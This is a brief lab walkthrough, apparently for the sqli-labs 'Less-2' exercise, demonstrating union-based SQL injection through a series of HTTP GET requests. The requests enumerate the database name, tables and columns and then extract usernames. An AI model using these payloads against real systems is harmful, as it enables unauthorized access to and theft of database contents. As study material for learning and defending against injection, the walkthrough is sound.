SQL注入 -- Union联合注入漏洞

SELECT username, email FROM users WHERE username = '可控制内容';

GET /sqli/Less-2/?id=1+order+by+3 HTTP/1.1

GET /sqli/Less-2/?id=-1+union+select+1,2,3 HTTP/1.1

GET /sqli/Less-2/?id=-1+union+select+1,database(),3 HTTP/1.1

GET /sqli/Less-2/?id=-1+union+select+1,(select+table_name+from+information_schema.tables+where+table_schema='security'+limit+0,1),3 HTTP/1.1

GET /sqli/Less-2/?id=-1+union+select+1,(select+column_name+from+information_schema.columns+where+table_schema='security'+and+table_name='users'+limit+0,1),3 HTTP/1.1

GET /sqli/Less-2/?id=-1+union+select+1,(select+username+from+security.users+limit+0,1),3 HTTP/1.1